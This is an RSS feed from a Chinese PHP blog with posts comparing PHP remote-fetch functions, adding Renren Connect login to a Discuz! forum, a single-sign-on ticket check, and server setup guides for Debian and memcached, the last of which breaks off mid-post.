<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>秘密小黑屋 &#187; php</title>
	<atom:link href="http://www.fhand.com/blog/archives/tag/php/feed" rel="self" type="application/rss+xml" />
	<link>http://www.fhand.com/blog</link>
	<description>David&#039;s black room</description>
	<lastBuildDate>Wed, 23 Nov 2011 05:10:42 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.2.1</generator>
		<item>
		<title>记录下php中fopen,file_get_contents,curl的区别</title>
		<link>http://www.fhand.com/blog/archives/580.html</link>
		<comments>http://www.fhand.com/blog/archives/580.html#comments</comments>
		<pubDate>Wed, 23 Nov 2011 05:10:42 +0000</pubDate>
		<dc:creator>david</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[curl]]></category>
		<category><![CDATA[file_get_contents]]></category>
		<category><![CDATA[fopen]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[php]]></category>
		<category><![CDATA[shell]]></category>
		<category><![CDATA[snoopy]]></category>

		<guid isPermaLink="false">http://www.fhand.com/blog/?p=580</guid>
		<description><![CDATA[1. fopen /file_get_contents 每次请求都会重新做DNS查询，并不对DNS信息进行缓存。但是CURL会自动对DNS信息进行缓存。对同一域名下的网页或者图片的请求只需要一次DNS查询。这大大减少了DNS查询的次数。所以CURL的性能比fopen /file_get_contents 好很多。 2. fopen /file_get_contents在请求HTTP时，使用的是http_fopen_wrapper，不会keeplive。而curl却可以。这样在多次请求多个链接时，curl效率会好一些。 3. fopen / file_get_contents函数会受到php.ini文件中allow_url_open选项配置的影响。如果该配置关闭了，则该函数也就失效了。而curl不受该配置的影响。 4. curl可以模拟多种请求，例如：POST数据，表单提交等，用户可以按照自己的需求来定制请求。而fopen / file_get_contents只能使用get方式获取数据。file_get_contents 获取远程文件时会把结果都存在一个字符串中 fiels函数则会储存成数组形式 因此，我还是比较倾向于使用curl来访问远程url。Php有curl模块扩展，功能很是强大。没事可以研究一下。 用到采集的时候还是比较喜欢用PHP的采集类 Snoopy]]></description>
			<content:encoded><![CDATA[<p>1. fopen /file_get_contents 每次请求都会重新做DNS查询，并不对DNS信息进行缓存。但是CURL会自动对DNS信息进行缓存。对同一域名下的网页或者图片的请求只需要一次DNS查询。这大大减少了DNS查询的次数。所以CURL的性能比fopen /file_get_contents 好很多。<br />
2. fopen /file_get_contents在请求HTTP时，使用的是http_fopen_wrapper，不会keeplive。而curl却可以。这样在多次请求多个链接时，curl效率会好一些。<br />
3. fopen / file_get_contents函数会受到php.ini文件中allow_url_open选项配置的影响。如果该配置关闭了，则该函数也就失效了。而curl不受该配置的影响。<br />
4. curl可以模拟多种请求，例如：POST数据，表单提交等，用户可以按照自己的需求来定制请求。而fopen / file_get_contents只能使用get方式获取数据。file_get_contents 获取远程文件时会把结果都存在一个字符串中  fiels函数则会储存成数组形式<br />
因此，我还是比较倾向于使用curl来访问远程url。Php有curl模块扩展，功能很是强大。没事可以研究一下。<br />
用到采集的时候还是比较喜欢用PHP的采集类 Snoopy </p>
]]></content:encoded>
			<wfw:commentRss>http://www.fhand.com/blog/archives/580.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>discuz的那点事儿</title>
		<link>http://www.fhand.com/blog/archives/419.html</link>
		<comments>http://www.fhand.com/blog/archives/419.html#comments</comments>
		<pubDate>Fri, 05 Aug 2011 10:54:42 +0000</pubDate>
		<dc:creator>weige</dc:creator>
				<category><![CDATA[PHP]]></category>
		<category><![CDATA[技术收集]]></category>
		<category><![CDATA[connect]]></category>
		<category><![CDATA[discuz]]></category>
		<category><![CDATA[php]]></category>
		<category><![CDATA[plugins]]></category>
		<category><![CDATA[renren]]></category>
		<category><![CDATA[人人链接]]></category>

		<guid isPermaLink="false">http://www.fhand.com/blog/?p=419</guid>
		<description><![CDATA[背景介绍：目前的论坛是直接使用Discuz！搭建的，版本比较古老，一直没人动过，从我接收就一直感觉是个烫手的山药，不是说处理不了（凭我浸淫php多年的经验，想来这点毛毛论坛还是可以拿下的，只是前人改过不少代码，注释也没有，于是一直懒得动），但是最近产品部说要整改论坛了，只好捡起来从头开始研究，记录下点滴。 本文先说下跟人人网连接，直接使用connect那套系统就行了，简单的很。 1,引入一个JS，比如命名为connect.js function addScript&#40;src&#41; &#123; var scriptElement = document.createElement&#40;&#34;script&#34;&#41;; scriptElement.type = &#34;text/javascript&#34;; scriptElement.src = src; document.getElementsByTagName&#40;&#34;HEAD&#34;&#41;&#91;0&#93;.appendChild&#40;scriptElement&#41;; &#125; function connectDyload&#40;&#41; &#123; addScript&#40;&#34;http://static.connect.renren.com/js/v2.0/FeatureLoader.jsp?loaded=connectInit&#34;&#41;; &#125; function connectInit&#40;&#41; &#123; XN_RequireFeatures&#40;&#91;&#34;Base&#34;&#93;, function&#40;&#41;&#123; XN.Main.init&#40;&#34;efc590d209f847c1ae0d830dcb99c972&#34;, &#34;/xd_receiver.html&#34;, &#123;&#34;doNotUseCachedConnectState&#34;:true&#125;&#41;; XN.Connect.c&#40;function&#40;&#41; &#123; document.location = &#34;http://www.rrgbbs.com/toGamebbs.do?tid=&#38;redirectUrl=&#34;+window.location.href; &#125;&#41;; &#125;&#41;; &#125; 其中,connect成功后的跳转地址，自己写了个java类，toGamebbs,这个类用来调用Discuz!的一系列验证方式，比如判断用户是不是登录过了cdb_session表,然后新用户的话，自动在后台帮助用户完成注册功能。 2.把模版中的header.html的登录块注释掉，换成connect的代码 &#60;!--&#60;a href=&#34;logging.php?action=login&#34; onclick=&#34;showWindow('login', this.href);return false;&#34;&#62;&#123;lang activation&#125;&#60;/a&#62;--&#62; &#60;a href=&#34;#&#34; onclick=&#34;connectDyload();return false;&#34;&#62;登录&#60;img src=&#34;http://a.xnimg.cn/connect/img/login_buttons/renren/connect_light_small.png&#34; style=&#34;vertical-align: middle;&#34; /&#62;&#60;/a&#62; [...]]]></description>
			<content:encoded><![CDATA[<p>背景介绍：目前的论坛是直接使用Discuz！搭建的，版本比较古老，一直没人动过，从我接收就一直感觉是个烫手的山药，不是说处理不了（凭我浸淫php多年的经验，想来这点毛毛论坛还是可以拿下的，只是前人改过不少代码，注释也没有，于是一直懒得动），但是最近产品部说要整改论坛了，只好捡起来从头开始研究，记录下点滴。<br />
本文先说下跟人人网连接，直接使用connect那套系统就行了，简单的很。<br />
1,引入一个JS，比如命名为connect.js</p>

<div class="wp_syntax"><div class="code"><pre class="javascript" style="font-family:monospace;"><span style="color: #003366; font-weight: bold;">function</span> addScript<span style="color: #009900;">&#40;</span>src<span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
   <span style="color: #003366; font-weight: bold;">var</span> scriptElement <span style="color: #339933;">=</span> document.<span style="color: #660066;">createElement</span><span style="color: #009900;">&#40;</span><span style="color: #3366CC;">&quot;script&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
   scriptElement.<span style="color: #660066;">type</span> <span style="color: #339933;">=</span> <span style="color: #3366CC;">&quot;text/javascript&quot;</span><span style="color: #339933;">;</span>
   scriptElement.<span style="color: #660066;">src</span> <span style="color: #339933;">=</span> src<span style="color: #339933;">;</span>
   document.<span style="color: #660066;">getElementsByTagName</span><span style="color: #009900;">&#40;</span><span style="color: #3366CC;">&quot;HEAD&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#91;</span><span style="color: #CC0000;">0</span><span style="color: #009900;">&#93;</span>.<span style="color: #660066;">appendChild</span><span style="color: #009900;">&#40;</span>scriptElement<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span>
<span style="color: #003366; font-weight: bold;">function</span> connectDyload<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
  addScript<span style="color: #009900;">&#40;</span><span style="color: #3366CC;">&quot;http://static.connect.renren.com/js/v2.0/FeatureLoader.jsp?loaded=connectInit&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span>
<span style="color: #003366; font-weight: bold;">function</span> connectInit<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
  XN_RequireFeatures<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#91;</span><span style="color: #3366CC;">&quot;Base&quot;</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">,</span> <span style="color: #003366; font-weight: bold;">function</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
    XN.<span style="color: #660066;">Main</span>.<span style="color: #660066;">init</span><span style="color: #009900;">&#40;</span><span style="color: #3366CC;">&quot;efc590d209f847c1ae0d830dcb99c972&quot;</span><span style="color: #339933;">,</span> <span style="color: #3366CC;">&quot;/xd_receiver.html&quot;</span><span style="color: #339933;">,</span> <span style="color: #009900;">&#123;</span><span style="color: #3366CC;">&quot;doNotUseCachedConnectState&quot;</span><span style="color: #339933;">:</span><span style="color: #003366; font-weight: bold;">true</span><span style="color: #009900;">&#125;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    XN.<span style="color: #660066;">Connect</span>.<span style="color: #660066;">c</span><span style="color: #009900;">&#40;</span><span style="color: #003366; font-weight: bold;">function</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
      document.<span style="color: #660066;">location</span> <span style="color: #339933;">=</span> <span style="color: #3366CC;">&quot;http://www.rrgbbs.com/toGamebbs.do?tid=&amp;redirectUrl=&quot;</span><span style="color: #339933;">+</span>window.<span style="color: #660066;">location</span>.<span style="color: #660066;">href</span><span style="color: #339933;">;</span>
    <span style="color: #009900;">&#125;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
  <span style="color: #009900;">&#125;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span></pre></div></div>

<p>其中,connect成功后的跳转地址，自己写了个java类，toGamebbs,这个类用来调用Discuz!的一系列验证方式，比如判断用户是不是登录过了cdb_session表,然后新用户的话，自动在后台帮助用户完成注册功能。<br />
2.把模版中的header.html的登录块注释掉，换成connect的代码</p>

<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;"><span style="color: #339933;">&lt;!--&lt;</span>a href<span style="color: #339933;">=</span><span style="color: #0000ff;">&quot;logging.php?action=login&quot;</span> onclick<span style="color: #339933;">=</span><span style="color: #0000ff;">&quot;showWindow('login', this.href);return false;&quot;</span><span style="color: #339933;">&gt;</span><span style="color: #009900;">&#123;</span>lang activation<span style="color: #009900;">&#125;</span><span style="color: #339933;">&lt;/</span>a<span style="color: #339933;">&gt;--&gt;</span>
<span style="color: #339933;">&lt;</span>a href<span style="color: #339933;">=</span><span style="color: #0000ff;">&quot;#&quot;</span> onclick<span style="color: #339933;">=</span><span style="color: #0000ff;">&quot;connectDyload();return false;&quot;</span><span style="color: #339933;">&gt;</span>登录<span style="color: #339933;">&lt;</span>img src<span style="color: #339933;">=</span><span style="color: #0000ff;">&quot;http://a.xnimg.cn/connect/img/login_buttons/renren/connect_light_small.png&quot;</span>  style<span style="color: #339933;">=</span><span style="color: #0000ff;">&quot;vertical-align: middle;&quot;</span> <span style="color: #339933;">/&gt;&lt;/</span>a<span style="color: #339933;">&gt;</span>
<span style="color: #339933;">&lt;</span>a href<span style="color: #339933;">=</span><span style="color: #0000ff;">&quot;logging.php?action=logout&amp;formhash={FORMHASH}&quot;</span><span style="color: #339933;">&gt;</span><span style="color: #009900;">&#123;</span>lang logout<span style="color: #009900;">&#125;</span><span style="color: #339933;">&lt;/</span>a<span style="color: #339933;">&gt;</span>
<span style="color: #339933;">&lt;</span>pre<span style="color: #339933;">&gt;</span>
<span style="color: #cc66cc;">3</span><span style="color: #339933;">.</span>修改全局变量template<span style="color: #339933;">/</span><span style="color: #b1b100;">default</span><span style="color: #339933;">/</span>templates<span style="color: #339933;">.</span>lang<span style="color: #339933;">.</span>php，把home_welcome_guest修改为上面类似的登录模块
<span style="color: #339933;">&lt;</span>pre lang<span style="color: #339933;">=</span><span style="color: #0000ff;">&quot;php&quot;</span><span style="color: #339933;">&gt;</span>
<span style="color: #339933;">&lt;</span>p<span style="color: #339933;">&gt;</span>人人网用户请直接点击<span style="color: #339933;">&lt;</span>a href<span style="color: #339933;">=</span><span style="color: #0000ff;">&quot;#&quot;</span> onclick<span style="color: #339933;">=</span><span style="color: #0000ff;">&quot;connectDyload();return false;&quot;</span> <span style="color: #000000; font-weight: bold;">class</span><span style="color: #339933;">=</span><span style="color: #0000ff;">&quot;lightlink&quot;</span><span style="color: #339933;">&gt;</span>登录<span style="color: #339933;">&lt;/</span>a<span style="color: #339933;">&gt;</span>，以浏览更多精彩内容，并随时发布观点，与大家交流。<span style="color: #339933;">&lt;/</span>p<span style="color: #339933;">&gt;</span></pre></div></div>

<p>4.需要在本地放一个跨域文件xd_receiver.html</p>

<div class="wp_syntax"><div class="code"><pre class="html" style="font-family:monospace;">&lt;!DOCTYPE html PUBLIC &quot;-//W3C//DTD XHTML 1.0 Transitional//EN&quot; &quot;http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd&quot;&gt;
&lt;html xmlns=&quot;http://www.w3.org/1999/xhtml&quot; &gt;
&lt;head&gt;
    &lt;meta http-equiv=&quot;Content-Type&quot; content=&quot;text/html; charset=UTF-8&quot; /&gt;
&lt;/head&gt;
&lt;body&gt;
&lt;script src=&quot;http://static.connect.renren.com/js/v1.0/XdCommReceiver.jsp&quot; type=&quot;text/javascript&quot;&gt;&lt;/script&gt;
&lt;/body&gt;
&lt;/html&gt;</pre></div></div>

<p>更多renren connect的原理，可以参考官方网站 <a href="http://wiki.dev.renren.com/wiki/%E4%BA%BA%E4%BA%BAConnect" target="_blank">http://wiki.dev.renren.com/wiki/%E4%BA%BA%E4%BA%BAConnect</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.fhand.com/blog/archives/419.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>公司的passport验证原理</title>
		<link>http://www.fhand.com/blog/archives/415.html</link>
		<comments>http://www.fhand.com/blog/archives/415.html#comments</comments>
		<pubDate>Thu, 04 Aug 2011 11:08:35 +0000</pubDate>
		<dc:creator>weige</dc:creator>
				<category><![CDATA[JAVA]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[技术收集]]></category>
		<category><![CDATA[java]]></category>
		<category><![CDATA[passport]]></category>
		<category><![CDATA[php]]></category>
		<category><![CDATA[权限验证]]></category>

		<guid isPermaLink="false">http://www.fhand.com/blog/?p=415</guid>
		<description><![CDATA[最近为了安全考虑，出了套验证机制。passport处理未登录用户的过程大致为： 1.用户访问应用服务器A 2.如果用户未登录A，自动重定向到passport服务器 3.passport验证登录成功后，返回验证票 4.应用服务器A使用验证票到passport服务器进行二次验证 5.passport二次验证成功后，返回用户名 根据上述处理过程，passport的使用方法为： 1.passport的请求地址为：passport.no.xxxx.com； 2.应用服务器请求passport页面时，需提供forward跳转参数； 3.passport接收请求，验证正确的情况下，返回验证票(ticket参数)； 4.应用服务器二次验证的过程为： 1）构造HTTP REFERER请求头； 2）携带HTTP REFERER请求头，远程读取passport.no.xxxx.com/verify.php?t=$ticket(该$ticket为 passport返回的ticket)地址的内容； 3）如果passport验证成功，返回用户名，否则返回空串。 passport的使用示例如下（以MM系统为例http://mm.renren.com/index.php）： 1.MM请求访问passport的地址：https://passport.no.xxxx.com/login.php?forward=http://mm.renren.com/index.php 2.passport验证成功后，将地址重定向到http://mm.renren.com/index.php/index.php?ticket=nscr3omh80rn367h5pu0dq76u0 3.MM系统处理passport验证票($ticket参数)的过程为： function auth_check_valid&#40;$ticket&#41;&#123; if&#40;$ticket == &#34;&#34;&#41; return false; &#160; $opts=array&#40; 'http'=&#62;array&#40; 'header'=&#62;&#34;Referer :&#34;.$_SERVER&#91;'REQUEST_URI'&#93; &#41; &#41;; &#160; $context = stream_context_create&#40;$opts&#41;;//构造HTTP REFERER头 $url = &#34;https://passport.no.xxxx.com/verify.php?t=&#34;.$ticket; $user_id = file_get_contents&#40;$url,false,$context&#41;;//二次验证，远程请求用户名 return $user_id;//返回登录用户名，需进行后续判断是否为空串 &#125; 在接下来的文章中，我们会进一步讲解如果使用程序模拟登录验证系统，该怎么处理。]]></description>
			<content:encoded><![CDATA[<p>最近为了安全考虑，出了套验证机制。passport处理未登录用户的过程大致为：<br />
   1.用户访问应用服务器A<br />
   2.如果用户未登录A，自动重定向到passport服务器<br />
   3.passport验证登录成功后，返回验证票<br />
   4.应用服务器A使用验证票到passport服务器进行二次验证<br />
   5.passport二次验证成功后，返回用户名   </p>
<p>根据上述处理过程，passport的使用方法为：<br />
   1.passport的请求地址为：passport.no.xxxx.com；<br />
   2.应用服务器请求passport页面时，需提供forward跳转参数；<br />
   3.passport接收请求，验证正确的情况下，返回验证票(ticket参数)；<br />
   4.应用服务器二次验证的过程为：<br />
       1）构造HTTP REFERER请求头；<br />
       2）携带HTTP REFERER请求头，远程读取passport.no.xxxx.com/verify.php?t=$ticket(该$ticket为 passport返回的ticket)地址的内容；<br />
       3）如果passport验证成功，返回用户名，否则返回空串。</p>
<p>passport的使用示例如下（以MM系统为例http://mm.renren.com/index.php）：<br />
   1.MM请求访问passport的地址：https://passport.no.xxxx.com/login.php?forward=http://mm.renren.com/index.php<br />
   2.passport验证成功后，将地址重定向到http://mm.renren.com/index.php/index.php?ticket=nscr3omh80rn367h5pu0dq76u0<br />
   3.MM系统处理passport验证票($ticket参数)的过程为：</p>

<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;">   <span style="color: #000000; font-weight: bold;">function</span> auth_check_valid<span style="color: #009900;">&#40;</span><span style="color: #000088;">$ticket</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
       <span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$ticket</span> <span style="color: #339933;">==</span> <span style="color: #0000ff;">&quot;&quot;</span><span style="color: #009900;">&#41;</span>
           <span style="color: #b1b100;">return</span> <span style="color: #009900; font-weight: bold;">false</span><span style="color: #339933;">;</span>
&nbsp;
       <span style="color: #000088;">$opts</span><span style="color: #339933;">=</span><span style="color: #990000;">array</span><span style="color: #009900;">&#40;</span>
           <span style="color: #0000ff;">'http'</span><span style="color: #339933;">=&gt;</span>array<span style="color: #009900;">&#40;</span>
               <span style="color: #0000ff;">'header'</span><span style="color: #339933;">=&gt;</span><span style="color: #0000ff;">&quot;Referer :&quot;</span><span style="color: #339933;">.</span><span style="color: #000088;">$_SERVER</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'REQUEST_URI'</span><span style="color: #009900;">&#93;</span>
           <span style="color: #009900;">&#41;</span>
       <span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
       <span style="color: #000088;">$context</span> <span style="color: #339933;">=</span> <span style="color: #990000;">stream_context_create</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$opts</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><span style="color: #666666; font-style: italic;">//构造HTTP REFERER头   </span>
       <span style="color: #000088;">$url</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">&quot;https://passport.no.xxxx.com/verify.php?t=&quot;</span><span style="color: #339933;">.</span><span style="color: #000088;">$ticket</span><span style="color: #339933;">;</span>
       <span style="color: #000088;">$user_id</span> <span style="color: #339933;">=</span> <span style="color: #990000;">file_get_contents</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$url</span><span style="color: #339933;">,</span><span style="color: #009900; font-weight: bold;">false</span><span style="color: #339933;">,</span><span style="color: #000088;">$context</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><span style="color: #666666; font-style: italic;">//二次验证，远程请求用户名       </span>
       <span style="color: #b1b100;">return</span> <span style="color: #000088;">$user_id</span><span style="color: #339933;">;</span><span style="color: #666666; font-style: italic;">//返回登录用户名，需进行后续判断是否为空串</span>
   <span style="color: #009900;">&#125;</span></pre></div></div>

<p>在接下来的文章中，我们会进一步讲解如果使用程序模拟登录验证系统，该怎么处理。</p>
]]></content:encoded>
			<wfw:commentRss>http://www.fhand.com/blog/archives/415.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>debian安装php环境apache+php+mysql+zend</title>
		<link>http://www.fhand.com/blog/archives/122.html</link>
		<comments>http://www.fhand.com/blog/archives/122.html#comments</comments>
		<pubDate>Tue, 10 May 2011 09:34:15 +0000</pubDate>
		<dc:creator>weige</dc:creator>
				<category><![CDATA[杂七杂八]]></category>
		<category><![CDATA[apache]]></category>
		<category><![CDATA[debian环境]]></category>
		<category><![CDATA[php]]></category>

		<guid isPermaLink="false">http://www.fhand.com/blog/?p=122</guid>
		<description><![CDATA[帮朋友搭建 一个shopex的开源网站，对方平台是debian的虚拟机，跟ubuntu类似，一开始直接使用目前最流行的模式php运行在fast-cgi模式下，前面挡上nginx，配置的过程百般折磨，详细的可以参照CentOS的配置，除了麻烦，总体上还算可以，最后也跑起来了，就是会有点小改动。以后再补充。 继续shopex的事情，结果很杯具的发现shopex果然比较惨，基本上在fast-cgi下没发运行，在初始化数据库的时候会很嚣张的报错，最后不得已还得装回apache。 用最原始的而且是简单有力的安装方式： 1.安装。 #apt-get install apache2 mysql-server mysql-client php5 php5-gd php5-mysql apt-get install apache2 mysql-server mysql-client php5 libapache2-mod-php5 php5-gd php5-cli php5-mysql 2.配置 2.1配置PHP vi /etc/php5/apache2/php.ini 找到 ;default_charset = &#34;iso-8859-1&#34; 把它改成 default_charset=&#34;gb2312&#34;，或者&#34;utf-8&#34; &#160; 2.2配置apache 2.2.1 #vi /etc/apache2/mods-enabled/php5.conf 去掉#AddType application/x-httpd-php .php 前的&#34;#&#34;号（最新安装的版本默认已去掉） 2.2.2 #vi /etc/apache2/mods-available/dir.conf 在DirectoryIndex中加入index.php 2.2.3 #vi /etc/apache2/conf.d/charset 改成AddDefaultCharset gb2312 ##UTF-8 &#160; 3.重启 #/etc/init.d/apache2 [...]]]></description>
			<content:encoded><![CDATA[<p>      帮朋友搭建 一个shopex的开源网站，对方平台是debian的虚拟机，跟ubuntu类似，一开始直接使用目前最流行的模式php运行在fast-cgi模式下，前面挡上nginx，配置的过程百般折磨，详细的可以参照CentOS的配置，除了麻烦，总体上还算可以，最后也跑起来了，就是会有点小改动。以后再补充。<br />
      继续shopex的事情，结果很杯具的发现shopex果然比较惨，基本上在fast-cgi下没发运行，在初始化数据库的时候会很嚣张的报错，最后不得已还得装回apache。<br />
      用最原始的而且是简单有力的安装方式：</p>

<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;">1.安装。
#apt-get install apache2 mysql-server mysql-client php5 php5-gd php5-mysql
apt-get install apache2 mysql-server mysql-client php5 libapache2-mod-php5 php5-gd php5-cli  php5-mysql
2.配置
2.1配置PHP
  vi /etc/php5/apache2/php.ini
         找到 ;default_charset = &quot;iso-8859-1&quot;
         把它改成 default_charset=&quot;gb2312&quot;，或者&quot;utf-8&quot;
&nbsp;
2.2配置apache
2.2.1 #vi /etc/apache2/mods-enabled/php5.conf
       去掉#AddType application/x-httpd-php .php 前的&quot;#&quot;号（最新安装的版本默认已去掉）
2.2.2 #vi /etc/apache2/mods-available/dir.conf
       在DirectoryIndex中加入index.php 
2.2.3 #vi /etc/apache2/conf.d/charset
       改成AddDefaultCharset gb2312 ##UTF-8
&nbsp;
3.重启
  #/etc/init.d/apache2 restart
&nbsp;
4.测试
4.1在/var/www/目录下新建show.php文件，在其中输入<span style="color: #000000; font-weight: bold;">&lt;?PHP</span> <span style="color: #990000;">phpinfo</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><span style="color: #000000; font-weight: bold;">?&gt;</span>
4.2在浏览器地址栏输入http://127.0.0.1/show.php,如果可以看到PHP的信息，则说明安装配置成功。
5.修改Mysql 的密码，用下面的命令：
   mysqladmin -u root password 'your-password' ，使用apt-get install方式一安装会有安装界面提示输入root的密码
&nbsp;
6.测试Mysql
mysql -u root -p
输入刚才的密码，如果可以看到mysql提示符，就说明Mysql也弄好了。</pre></div></div>

<p>      进一步需要安装ZendOptimizer,直接下载最新的tar包 ZendOptimizer-3.3.0a-linux-glibc21-i386.tar.gz</p>

<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;">tar xvfz ZendOptimizer<span style="color: #339933;">-</span>3<span style="color: #339933;">.</span>3<span style="color: #339933;">.</span>0a<span style="color: #339933;">-</span>linux<span style="color: #339933;">-</span>glibc21<span style="color: #339933;">-</span>i386<span style="color: #339933;">.</span>tar<span style="color: #339933;">.</span>gz
cd ZendOptimizer<span style="color: #339933;">-</span>3<span style="color: #339933;">.</span>3<span style="color: #339933;">.</span>0a<span style="color: #339933;">-</span>linux<span style="color: #339933;">-</span>glibc21<span style="color: #339933;">-</span>i386
sh install<span style="color: #339933;">.</span>sh <span style="color: #666666; font-style: italic;">##按照提示输入php.ini的具体路径，一般是 /etc/php5/apache2/php.ini，apache的运行目录即可 /usr/sbin/apache2</span></pre></div></div>

]]></content:encoded>
			<wfw:commentRss>http://www.fhand.com/blog/archives/122.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>很茫然也很兴奋</title>
		<link>http://www.fhand.com/blog/archives/113.html</link>
		<comments>http://www.fhand.com/blog/archives/113.html#comments</comments>
		<pubDate>Fri, 29 Oct 2010 08:41:01 +0000</pubDate>
		<dc:creator>weige</dc:creator>
				<category><![CDATA[技术收集]]></category>
		<category><![CDATA[java]]></category>
		<category><![CDATA[php]]></category>
		<category><![CDATA[PHPRPC]]></category>
		<category><![CDATA[远程通讯]]></category>

		<guid isPermaLink="false">http://www.fhand.com/blog/?p=113</guid>
		<description><![CDATA[进一步搞好学习，持续攻坚英语，业务上学习C++和PHPRPC]]></description>
			<content:encoded><![CDATA[<p>     写代码时间久了，总是感觉接触面越来越窄，到现在估计只剩下Java还能写点东西了，PHP算作业余时间搞的，好在是弱语言类型的，每次都是现学现卖。一口气写下来，在本地debug也快，出现错误就地改正就是了，尝试过用框架，结果都是半途而废了，估计水平也就这样子了，自己搞点小玩意儿还是可以的，帮朋友做几个个人网站也行。<br />
      近半年来，总算是有点目标，学习还是马马虎虎的，最近公司的事情好多啊，只能见缝插针的学习点，感觉提高的也不快，任何事情总得动手才行。<br />
     淘宝客的一堆东西基本上快研究透彻了，想到了几个点子，准备抽时间给实现了。<br />
     剩下的学习任务很很重，搞下PHPRPC，丢掉的C++想尽可能的给捡回来，搞好英语。</p>
]]></content:encoded>
			<wfw:commentRss>http://www.fhand.com/blog/archives/113.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>学习memcached的安装和java通讯</title>
		<link>http://www.fhand.com/blog/archives/108.html</link>
		<comments>http://www.fhand.com/blog/archives/108.html#comments</comments>
		<pubDate>Thu, 30 Sep 2010 08:17:56 +0000</pubDate>
		<dc:creator>weige</dc:creator>
				<category><![CDATA[技术收集]]></category>
		<category><![CDATA[cannot open shared object file]]></category>
		<category><![CDATA[java]]></category>
		<category><![CDATA[libevent]]></category>
		<category><![CDATA[memcached]]></category>
		<category><![CDATA[php]]></category>

		<guid isPermaLink="false">http://www.fhand.com/blog/?p=108</guid>
		<description><![CDATA[memcache需要libevent进行网络的通讯才能正常工作，所以安装memcache之前需要首先安装libevent. libevent可以从这儿下载，memcache需要从google code下载。 现在万事具备，开始安装的基本过程，如下所示： #yum install gcc //确认gcc已经安装，可以gcc -v确认 #wget http://monkey.org/~provos/libevent-1.4.5-stable.tar.gz //下载最新的稳定版本 #tar xvzf libevent-1.4.4-stable.tar.gz //解压缩 #cd libevent-1.4.4-stable #./configure -prefix=/usr/local/libevent //开始编译 #make #make install 接着安装memcache. #cd /home/mysoft/ #tar -zxvf memcached-1.4.5.tar.gz #cd memcached-1.5.0 #./configure --prefix=/usr/local/memcached --with-libevent=/usr/ #make #make install #ls -al /usr/local/memcached/bin //验证安装 如果没有问题，现在就可以正常启动memcached了，命令如下： /usr/local/memcached/bin/memcached -d -m 100 -u root -l 192.168.1.101 -p 11211 -c 256 [...]]]></description>
			<content:encoded><![CDATA[<p>         memcache需要libevent进行网络的通讯才能正常工作，所以安装memcache之前需要首先安装libevent. libevent可以从<a href="http://www.monkey.org/~provos/libevent/">这儿</a>下载，memcache需要从<a href="http://code.google.com/p/spymemcached/downloads/list">google code</a>下载。<br />
         现在万事具备，开始安装的基本过程，如下所示：</p>

<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;"><span style="color: #666666; font-style: italic;">#yum install gcc  //确认gcc已经安装，可以gcc -v确认
</span>
<span style="color: #666666; font-style: italic;">#wget http://monkey.org/~provos/libevent-1.4.5-stable.tar.gz  //下载最新的稳定版本
</span><span style="color: #666666; font-style: italic;">#tar xvzf libevent-1.4.4-stable.tar.gz  //解压缩
</span><span style="color: #666666; font-style: italic;">#cd libevent-1.4.4-stable 
</span><span style="color: #666666; font-style: italic;">#./configure -prefix=/usr/local/libevent //开始编译
